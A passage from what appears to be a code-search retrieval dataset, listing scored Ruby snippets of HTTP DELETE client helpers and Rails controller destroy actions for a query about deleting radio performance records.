"docid": "e89e34ffa9d2f99d387eebf9f667d234",
"score": "0.7068839",
"text": "def delete(url, data={}, headers={})\n request = connection.delete(url, data, headers)\n\n Automatic::Response.new(request)\n end",
"title": ""
},
{
"docid": "b4d048dcfd4a37fc70d37907c8515974",
"score": "0.70567673",
"text": "def delete(url, headers={})\n RestClient.delete url, headers\n end",
"title": ""
},
{
"docid": "2d3480a54d2ac86b6517fd8f385898fd",
"score": "0.70556575",
"text": "def delete(url, header = nil)\n _make_request \"DELETE\", url, nil, header\n end",
"title": ""
},
{
"docid": "c492976f4ca0eafdc29af97b2b3700ae",
"score": "0.70550907",
"text": "def delete_content(base_path)\n request_url = \"#{base_url}/content?link=#{base_path}\"\n delete_json(request_url)\n end",
"title": ""
},
{
"docid": "9c4b48c08b524a45588714b4a6c46295",
"score": "0.7052034",
"text": "def do_delete(url)\n response = self.class.delete(url,\n :headers => {'Authorization' => 'Basic',\n 'Accept' => 'application/json', \n 'Content-Type' => 'application/json'})\n end",
"title": ""
},
{
"docid": "406c778426dc0a0e72f79042047d0bc2",
"score": "0.7015883",
"text": "def clear(url)\n Url.where(:url => url).delete_all\n end",
"title": ""
},
{
"docid": "e5d8b912ebaabc7e7b6a0c48b43548c8",
"score": "0.69840837",
"text": "def destroy!\n client.delete(url)\n end",
"title": ""
},
{
"docid": "2e28ac5d08a3dcd3e09388d2ea98293f",
"score": "0.69481444",
"text": "def delete(url, custom_headers={})\n headers = {\n :Authorization => \"Bearer #{@token.access_token}\", \n }\n\n headers.merge!(custom_headers)\n\n Transport.delete url, headers\n end",
"title": ""
},
{
"docid": "e51ec35178a94a2e24d084ca942c5348",
"score": "0.69435763",
"text": "def delete(url, options = {})\n request(:delete, url, options)\n end",
"title": ""
},
{
"docid": "d191c85f50f7203e6b0d9fd067cfb1fa",
"score": "0.6928723",
"text": "def delete(url, options = {})\n send_request_with_method(:delete, url, options)\n end",
"title": ""
},
{
"docid": "98074a183384cefa9512240d2d65da81",
"score": "0.69048184",
"text": "def delete(url, **args)\n @http_client.delete(url, **args)\n end",
"title": ""
},
{
"docid": "f9d6f26334517ead34b4589adb03500d",
"score": "0.6899988",
"text": "def delete(url, &block)\n request :delete, url, nil, nil, &block\n end",
"title": ""
},
{
"docid": "771e0d81b31b5b4c42fa83d552ee3a75",
"score": "0.6863415",
"text": "def delete(request)\n do_request request do |url, headers|\n client.delete url, headers\n end\n end",
"title": ""
},
{
"docid": "57758dab36c466ff138b60d8a79df60d",
"score": "0.6854335",
"text": "def remove_content(id)\n delete(\"/#{id}\")\n end",
"title": ""
},
{
"docid": "34348e070d4ad98b4c9285c2dd6c8d44",
"score": "0.68464327",
"text": "def delete(url, params)\n request = HTTPI::Request.new(resource_url(url, query_params(params[:query])))\n execute_request(:delete, request, params)\n end",
"title": ""
},
{
"docid": "8c7922b05c1bebe2975abd60c4cfd83a",
"score": "0.68389624",
"text": "def destroy\n @url = Url.find(params[:id])\n @url.destroy\n\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8c7922b05c1bebe2975abd60c4cfd83a",
"score": "0.68389624",
"text": "def destroy\n @url = Url.find(params[:id])\n @url.destroy\n\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8c7922b05c1bebe2975abd60c4cfd83a",
"score": "0.68389624",
"text": "def destroy\n @url = Url.find(params[:id])\n @url.destroy\n\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8c7922b05c1bebe2975abd60c4cfd83a",
"score": "0.68389624",
"text": "def destroy\n @url = Url.find(params[:id])\n @url.destroy\n\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5b4b34bde9cf3fea9abe3aa8c9f36ab9",
"score": "0.6838812",
"text": "def delete(url, &block)\n\t\t\t\trequest :delete, url, block\n\t\t\tend",
"title": ""
},
{
"docid": "1931e5d24dc4c014efbd5c50db6ad044",
"score": "0.6783596",
"text": "def destroy\n @url.destroy\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1931e5d24dc4c014efbd5c50db6ad044",
"score": "0.6783596",
"text": "def destroy\n @url.destroy\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dcdd1405f9cf522dc415da749a65483f",
"score": "0.67834204",
"text": "def clear(url)\n if code = @urls.delete(url)\n @hash.delete code\n end\n end",
"title": ""
},
{
"docid": "8e6766a644d673b92f526aa15fc970b7",
"score": "0.6759716",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "8e6766a644d673b92f526aa15fc970b7",
"score": "0.6759716",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "dd52b233d28cf033cc23f629d6bc38ff",
"score": "0.67556155",
"text": "def delete(url, options = {})\n request :delete, url, options\n end",
"title": ""
},
{
"docid": "31b8f4a787380365ef681e066cec4110",
"score": "0.67265344",
"text": "def delete(url, body)\n connection.put do |req|\n req.url(url)\n req.body = body\n end\n end",
"title": ""
},
{
"docid": "7b2e507a314baecfd8b72d2e3fcb0464",
"score": "0.6716951",
"text": "def delete( url, params = nil)\n do_request( :delete, url, params)\n end",
"title": ""
},
{
"docid": "d405ec9eba59c3a0c83f34e6d55304cd",
"score": "0.6713096",
"text": "def delete(url)\n response = access_token.delete(url)\n if url =~ /.json$/\n JSON.parse(response.body)\n else\n response.body\n end\n end",
"title": ""
},
{
"docid": "0f32e313dd340185654ae79821d37f9d",
"score": "0.67052954",
"text": "def delete(path)\n http_execute(Net::HTTP::Delete.new(path))\n end",
"title": ""
},
{
"docid": "fdb5222e60f67418931a74e6eb7c9a1d",
"score": "0.6695122",
"text": "def delete\n GoodData.delete(uri)\n end",
"title": ""
},
{
"docid": "426cbae11064b61e924a4bfe67c72f48",
"score": "0.6675979",
"text": "def delete(url, options = {})\n do_authenticated_request(:delete, url, options)\n end",
"title": ""
},
{
"docid": "1d236abe4a56b13b5b58aaffbdc3a1ba",
"score": "0.6674602",
"text": "def delete content_id\n base.delete(content_id)\n end",
"title": ""
},
{
"docid": "4be3afdd47cbce91202d28d4a8b85470",
"score": "0.66568446",
"text": "def delete(url, query_params = nil)\n perform('delete', url, query: query_params)\n true\n end",
"title": ""
},
{
"docid": "40e6dca798240d88747991fcf6aebbbb",
"score": "0.66299486",
"text": "def delete_from_server(url, payload = {}, &block)\n connection = Miniphonic.connect\n response = connection.delete url, payload\n if response.success?\n block.call(response) if block\n response\n else\n server_error(response)\n end\n end",
"title": ""
},
{
"docid": "7591df8f07442f57855f4c7d22eb4ef4",
"score": "0.66198295",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to(contents_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7591df8f07442f57855f4c7d22eb4ef4",
"score": "0.66198295",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to(contents_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7591df8f07442f57855f4c7d22eb4ef4",
"score": "0.66198295",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to(contents_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "cd86e0eb51ea5ed73b9e4365aba50cd2",
"score": "0.66187346",
"text": "def delete(url, options={})\n default_client.delete(url, options)\n end",
"title": ""
},
{
"docid": "ec0de5f1a693735f78f64b7cdd2b1df9",
"score": "0.66077256",
"text": "def delete\n self.class.delete self.href\n end",
"title": ""
},
{
"docid": "ec88841d3a49ad545b88584a95b3f0da",
"score": "0.6605237",
"text": "def delete(url, version = nil)\n req = Net::HTTP::Delete.new(url)\n req.content_type = 'application/x-ssds+xml'\n \n if(!version.nil?)\n req['if-match'] = version;\n end\n \n req.basic_auth @username, @password\n execute_request(req)\n end",
"title": ""
},
{
"docid": "0476521f8ec9941ca22cf273656b26ab",
"score": "0.66048646",
"text": "def delete \n response = self.request(:delete, self.href)\n @deleted = true if response.status.to_i == 204 \n self\n end",
"title": ""
},
{
"docid": "03ce03b47e2d729df7d8daff439a661f",
"score": "0.6589594",
"text": "def destroy\n @url = UrlPost.find(params[:id])\n @url.destroy\n track_activity @url\n respond_to do |format|\n format.html { redirect_to urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8eea7eec1541fd8e69e17fb8a2243d6f",
"score": "0.6581417",
"text": "def delete(file_url)\n params = {file_url: file_url}\n @client.api_helper.get_response(Config::TODOIST_UPLOADS_DELETE_COMMAND, params)\n end",
"title": ""
},
{
"docid": "5bc8017484f26d99b9cf219d30702d6a",
"score": "0.6573482",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6ebc884b80e6ad18f5a64b62e75f91c1",
"score": "0.65643364",
"text": "def destroy\n @link.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "2d2742fd71c5c12ce03a1037129ad996",
"score": "0.6563277",
"text": "def destroy\n @content = Text.get(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to(contents_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e1fc687abf98cbf17738b2f5098d1f61",
"score": "0.65529156",
"text": "def delete \n response = self.request(:delete, self.href)\n @deleted = true if response.status.to_i == 204 \n self\n end",
"title": ""
},
{
"docid": "bc7e6df7d2af27fb635f28eb9ea38acc",
"score": "0.65425986",
"text": "def destroy\n @content = Content.find(params[:id])\n auth!\n\n process_content_notification action_name\n @content.destroy\n flash[:notice] = t(:content_deleted)\n\n respond_to do |format|\n format.html { redirect_to(feeds_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9fa0bbfa313ae9153fb5f870cd448e51",
"score": "0.653593",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b1454ff2e1cf4931eb0b177f59e405ca",
"score": "0.6531542",
"text": "def delete\n @bookalope.http_delete(@url)\n end",
"title": ""
},
{
"docid": "b1454ff2e1cf4931eb0b177f59e405ca",
"score": "0.6531542",
"text": "def delete\n @bookalope.http_delete(@url)\n end",
"title": ""
},
{
"docid": "edcc34206035c70b9f4f76c8bfe1a68c",
"score": "0.6530415",
"text": "def delete(url, headers={}, &block)\n opts = {:method => :delete, :url => url, :headers => headers}\n opts[:response_body_handler] = block if block_given?\n @curl_handle.execute(opts)\n end",
"title": ""
},
{
"docid": "0bc5932e2b65f2e196f23eefb830fdd6",
"score": "0.65291935",
"text": "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0bc5932e2b65f2e196f23eefb830fdd6",
"score": "0.65291935",
"text": "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0bc5932e2b65f2e196f23eefb830fdd6",
"score": "0.65291935",
"text": "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0bc5932e2b65f2e196f23eefb830fdd6",
"score": "0.65291935",
"text": "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cfb6a424b556a7f848ce0f47928c25a9",
"score": "0.6509317",
"text": "def http_delete(url)\n bookalope_delete_uri = URI.parse(@host + url)\n bookalope_delete_request = Net::HTTP::Delete.new(bookalope_delete_uri)\n bookalope_delete_request.basic_auth(@token, '')\n\n req_options = {\n use_ssl: bookalope_delete_uri.scheme == 'https',\n }\n\n bookalope_delete_response = Net::HTTP.start(bookalope_delete_uri.hostname, bookalope_delete_uri.port, req_options) do |http|\n http.request(bookalope_delete_request)\n end\n end",
"title": ""
},
{
"docid": "a66e0542ff0e0661cbc780f29f278739",
"score": "0.6506042",
"text": "def delete\n !!client.delete(download_uri)\n rescue Error::HTTPError\n false\n end",
"title": ""
},
{
"docid": "6646527d3e7c1902abf5f8acbd6711d5",
"score": "0.6498864",
"text": "def destroy\n @url.destroy\n flash[:success] = \"Url redirection deleted.\"\n redirect_to user_path(current_user)\n end",
"title": ""
},
{
"docid": "efc7f6a77aaf617d65b640e4df4c910d",
"score": "0.64982",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "efc7f6a77aaf617d65b640e4df4c910d",
"score": "0.64982",
"text": "def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5d7aff807e1388b5f9233b112143a40d",
"score": "0.6497955",
"text": "def delete\n # Send a DELETE request to this bucket's URI.\n open(uri, :method => :delete)\n end",
"title": ""
},
{
"docid": "67de1235949157d9159b6eaec62f65e2",
"score": "0.64892364",
"text": "def delete(path)\n RestClient.delete url_for(path)\n true\n rescue\n false\n end",
"title": ""
},
{
"docid": "941940271a7efadca315e3b2b9a0b908",
"score": "0.6476909",
"text": "def delete_request\n client.create_request('DELETE', url_path)\n end",
"title": ""
},
{
"docid": "b6d62d758e594c991af1ed350846a2bb",
"score": "0.6476634",
"text": "def delete(uri, headers={})\n req = Net::HTTP::Delete.new(uri)\n request(req, headers)\n end",
"title": ""
},
{
"docid": "9986d6e782e4389b2c1e6c17b3f2ae28",
"score": "0.64706326",
"text": "def destroy\n @url.destroy\n respond_to do |format|\n format.json { head :no_content }\n format.js { render 'urls/destroy', layout: false }\n end\n end",
"title": ""
},
{
"docid": "548a677ac73f4ea01c0d11f350c1af50",
"score": "0.64687955",
"text": "def destroy\n @img_url.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "51d3c610b48077dbf5ccdb138375ec7a",
"score": "0.64680797",
"text": "def http_delete (url_str, headers = {}, body = nil)\n url = parse_url(url_str)\n request = Net::HTTP::Delete.new(url.path, headers)\n request.basic_auth url.user, url.password if (url.user) # We need to DRY this up and refactor this class aggressively\n request.body = body\n http = get_http_connection(url) \n response = http.start {|http| http.request(request) }\n end",
"title": ""
},
{
"docid": "a21e705cea06646fc3ab5b21996ee1cf",
"score": "0.646609",
"text": "def destroy\n @page_content = PageContent.find(params[:id])\n @page_content.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_contents_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6f3414413dba1c3bc09452bd8ae2b497",
"score": "0.6457804",
"text": "def delete(url, params={}, options={})\n response = connection.delete do |req|\n req.saddle_options = options\n req.url(url, params)\n end\n handle_response(response)\n end",
"title": ""
}
] |
940f06a82c86cb4fef4beb87e1951a88
|
DELETE /radio_performances/1 DELETE /radio_performances/1.json
|
[
{
"docid": "37cf049c174c210628f1c78815bacde1",
"score": "0.7765664",
"text": "def destroy\n @radio_performance.destroy\n respond_to do |format|\n format.html { redirect_to radio_performances_url, notice: 'Radio performance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "cd25c6fccef2503d0743eff8e0e94253",
"score": "0.72106135",
"text": "def destroy\n @radio = Radio.find(params[:id])\n @radio.destroy\n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\nend",
"title": ""
},
{
"docid": "b7a8bd0b638cba91b478cfda91a87c47",
"score": "0.6872624",
"text": "def destroy\n @dor_variant_performance.destroy\n respond_to do |format|\n format.html { redirect_to dor_variant_performances_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f1a3fdca260ea1370a7fae5148d9c9a",
"score": "0.6818789",
"text": "def destroy\n @performance.destroy\n respond_to do |format|\n format.html { redirect_to performances_url, notice: 'Performance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f1a3fdca260ea1370a7fae5148d9c9a",
"score": "0.6818789",
"text": "def destroy\n @performance.destroy\n respond_to do |format|\n format.html { redirect_to performances_url, notice: 'Performance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "65b347e493cbce2cff2f32e486410c92",
"score": "0.6776458",
"text": "def destroy\n @performance_test = PerformanceTest.find(params[:id])\n @performance_test.destroy\n\n respond_to do |format|\n format.html { redirect_to performance_tests_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bd0b60b24bdcf4405a5b5f74abdf25e0",
"score": "0.6762235",
"text": "def destroy\n render_json_auto @survey.delete_logic_control_rule(params[:id].to_i) and return\n end",
"title": ""
},
{
"docid": "ad1c0211e5016e00d2604db389da7f5d",
"score": "0.67315644",
"text": "def destroy\n @radio = Radio.find(params[:id])\n @radio.destroy\n\n respond_to do |format|\n format.html { redirect_to(radios_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ad1c0211e5016e00d2604db389da7f5d",
"score": "0.67315644",
"text": "def destroy\n @radio = Radio.find(params[:id])\n @radio.destroy\n\n respond_to do |format|\n format.html { redirect_to(radios_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bd585204262484e3a27ddff9b25771af",
"score": "0.6679279",
"text": "def destroy\n @radio.destroy\n respond_with @radio, location: radios_path\n end",
"title": ""
},
{
"docid": "7792c7802c65fccf87bd771704d0adcf",
"score": "0.6673803",
"text": "def destroy\n @mriperformance = Mriperformance.find(params[:id])\n @mriperformance.destroy\n\n respond_to do |format|\n format.html { redirect_to(mriperformances_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "44d95669e51ef4cbaafa187fd0aec6ea",
"score": "0.66524774",
"text": "def destroy\n @perf_benchmark = @app.perf_benchmarks.find(params[:id])\n @perf_benchmark.destroy\n\n respond_to do |format|\n format.html { redirect_to(app_perf_benchmarks_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "87b332e310517674e3be77c2313f3af6",
"score": "0.6641965",
"text": "def destroy\n @metric_speedtest.destroy\n respond_to do |format|\n format.html { redirect_to metric_speedtests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f6bbaae59af3e29c8b2b3ca2b5b72efc",
"score": "0.6631223",
"text": "def destroy\n @performance_evaluation.destroy\n respond_to do |format|\n format.html { redirect_to performance_evaluations_url, notice: 'Performance evaluation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0a13c718a5c55be952fdf6171c71e557",
"score": "0.6584645",
"text": "def destroy\n @radioshow.destroy\n respond_to do |format|\n format.html { redirect_to radioshows_url, notice: 'Radioshow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0cbf2af0c2d7558d11cc96bd45a56ce7",
"score": "0.65566504",
"text": "def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4200eba7093142279d5638c2525080d7",
"score": "0.65385866",
"text": "def destroy\n @performance_chart.destroy\n respond_to do |format|\n format.html { redirect_to performance_charts_url, notice: 'Performance chart was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aae0b95461dd2784f6d2b4c3013c23c3",
"score": "0.65145373",
"text": "def destroy\n @backend_stat = Backend::Stat.find(params[:id])\n @backend_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to backend_stats_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7070e4dc3849fac5852c0271c9b6d7cc",
"score": "0.64941317",
"text": "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"title": ""
},
{
"docid": "9597ba5c0fa37bc5cf787d48e3792d87",
"score": "0.6477502",
"text": "def destroy\n render_json_auto @survey.delete_filter(params[:id].to_i) and return\n end",
"title": ""
},
{
"docid": "370baabf5470b0274ce9350e8c88a595",
"score": "0.64373165",
"text": "def destroy\n @metric_type = MetricType.find(params[:id])\n @metric_type.destroy\n\n respond_to do |format|\n format.html { redirect_to metric_types_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "31ccbed59cfaca8374e3ff68f45d93cd",
"score": "0.64227223",
"text": "def destroy\n @throughput_metric.destroy\n respond_to do |format|\n format.html { redirect_to throughput_metrics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e30d01f0447d6030727cf5ff2f94d7cf",
"score": "0.6415807",
"text": "def destroy\n @rating_scale_step = RatingScaleStep.find(params[:id])\n @rating_scale_step.destroy\n\n respond_to do |format|\n format.html { redirect_to rating_scale_steps_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c5a5c7b0eb437b2c3172008b2b99bc03",
"score": "0.63793796",
"text": "def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "cb5efc5c220a142b2bbaa3af339fecdb",
"score": "0.6373613",
"text": "def destroy\n @accuracy = Accuracy.find(params[:id])\n @accuracy.destroy\n\n respond_to do |format|\n format.html { redirect_to accuracies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cd0aa5682a4ecaddec2bcc44b7051556",
"score": "0.635591",
"text": "def destroy\n @bowling_performance = BowlingPerformance.find(params[:id])\n @bowling_performance.destroy\n\n respond_to do |format|\n format.html { redirect_to(bowling_performances_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e66e80d646f01548287c51d2d39e58a0",
"score": "0.6354168",
"text": "def destroy\n @backend_tutorial_stat = Backend::TutorialStat.find(params[:id])\n @backend_tutorial_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to backend_tutorial_stats_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "663c93604447a2e3689fa197f0fcd260",
"score": "0.63434523",
"text": "def destroy\n authorize! :manage, @vspec\n metric = @vspec.metric\n @vspec.destroy\n respond_to do |format|\n format.html { redirect_to [metric.service, metric] }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3fda1a1f08db21b2aad7d74f40aa1388",
"score": "0.63346344",
"text": "def destroy\n @metric = Metric.find(params[:id])\n @metric.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "72910ee62e02d0d99e0194bcd8fea8c7",
"score": "0.6305412",
"text": "def destroy\n#status_url(Status.find_by_survey_id(protocol.access_code)\n #@p = ResponseSet.where(:user_id => current_user)\n #@protocol = user_id.find_by_survey_id(protocol.access_code)\n #@p = ResponseSet.where(:question_id => @title_questions).first.string_value\n p= ResponseSet.where(:access_code => params[:id])\n p.first.destroy\n \n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "922fcf8b8b0e7c3ba8b29093157c5760",
"score": "0.63004345",
"text": "def destroy\n # @scoring_method = ScoringMethod.find(params[:id])\n # @scoring_method.destroy\n\n respond_to do |format|\n format.html { redirect_to scoring_methods_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "03ba703cdda32f99a06b8e0f1d09d389",
"score": "0.6300081",
"text": "def destroy\n @benchmark_type = BenchmarkType.find(params[:id])\n @benchmark_type.destroy\n\n respond_to do |format|\n format.html { redirect_to benchmark_types_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8994d317ca7edbab1cc4ccf54b7f3889",
"score": "0.62842464",
"text": "def destroy\n @statistic.destroy\n respond_to do |format|\n format.html { redirect_to statistics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "12525e3c7e48e15ae8dc7ce432fe3d1a",
"score": "0.6280637",
"text": "def destroy\n @task_metric = TaskMetric.find(params[:id])\n @task_metric.destroy\n\n respond_to do |format|\n format.html { redirect_to task_metrics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cd4c4b1513f8eb56eca8476fddaea870",
"score": "0.6266976",
"text": "def destroy\n @standard_measurement = StandardMeasurement.find(params[:id])\n @standard_measurement.destroy\n\n respond_to do |format|\n format.html { redirect_to standard_measurements_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "20f95ceff70c5fbbfb2df2f642e1817b",
"score": "0.6258413",
"text": "def destroy\n @terra_nova_test_benchmark.destroy\n respond_to do |format|\n format.html { redirect_to terra_nova_test_benchmarks_url, notice: 'Terra nova test benchmark was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "01a0928229fd6d6014148f0cf5271dc6",
"score": "0.62504894",
"text": "def destroy\n @admin_sub_metric.destroy\n respond_to do |format|\n format.html { redirect_to admin_sub_metrics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c01a0f2d1258f7a47cb0461f702e4fd8",
"score": "0.6249558",
"text": "def destroy\n @estadio = Estadio.find(params[:id])\n @estadio.destroy\n\n respond_to do |format|\n format.html { redirect_to estadios_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0be5a6c50515d96df06d3c8d363787af",
"score": "0.62479407",
"text": "def destroy\n @rcrieval = Rcrieval.find(params[:id])\n @rcrieval.destroy\n\n respond_to do |format|\n format.html { redirect_to rcrievals_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8ac3b6e0ed7d376a7e3d4a76a59f779e",
"score": "0.62477773",
"text": "def destroy\n @delinquency_stat.destroy\n respond_to do |format|\n format.html { redirect_to delinquency_stats_url, notice: 'Delinquency stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "58a45a91eb75530eef85a0e899f37893",
"score": "0.6235676",
"text": "def destroy\n begin\n if @performance.tracks.size == 0\n @performance.destroy\n render text: \"success\", status: 200\n else\n render text: \"You cannot delete a Performance with Tracks\", status: 409\n end\n rescue\n render text: \"An unexpected error occurred trying to delete the specified Performance\", status: 500\n end\n end",
"title": ""
},
{
"docid": "75be2ef9d2bad2b3e4b2cc9d6a4e85e2",
"score": "0.6233594",
"text": "def destroy\n @evaluationstatus = Evaluationstatus.find(params[:id])\n @evaluationstatus.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluationstatuses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2b030834e07ef2cad8c1db9bfce1db85",
"score": "0.6232992",
"text": "def destroy\n @threshold = Threshold.find(params[:id])\n @threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to thresholds_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ac69a9fb45cf11803c80c5513ce9486",
"score": "0.6229838",
"text": "def destroy\n @quality_history = QualityHistory.find(params[:id])\n @quality_history.destroy\n\n respond_to do |format|\n format.html { redirect_to quality_histories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f4628e297d15d82784ce0fe6ed0f4c2e",
"score": "0.6228564",
"text": "def destroy\n @operation_history = OperationHistory.find(params[:id])\n @operation_history.destroy\n\n respond_to do |format|\n format.html { redirect_to operation_histories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0eee706279ddfcba0560dbeaa2402b85",
"score": "0.62258625",
"text": "def destroy\n @rule.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2b28c904bee2736f4874e22dd06d6887",
"score": "0.62178284",
"text": "def destroy\n @irradiance_measure.destroy\n respond_to do |format|\n format.html { redirect_to irradiance_measures_url, notice: 'Irradiance measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3b68c60e409ca5483af02f24ac2d3722",
"score": "0.6213519",
"text": "def destroy\n @aspect = Aspect.find(params[:id])\n @aspect.destroy\n\n respond_to do |format|\n format.html { redirect_to(aspects_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "92f020caa34c4afb88db915975fd16ac",
"score": "0.620487",
"text": "def destroy\n @metric_type = MetricType.find(params[:id])\n @metric_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(metric_types_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e744ceab926deea795d7384f15adee79",
"score": "0.61980605",
"text": "def destroy\n @running_measurement.destroy\n respond_to do |format|\n format.html { redirect_to running_measurements_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "422b7afb27aa1e6757aa2958352773af",
"score": "0.61953384",
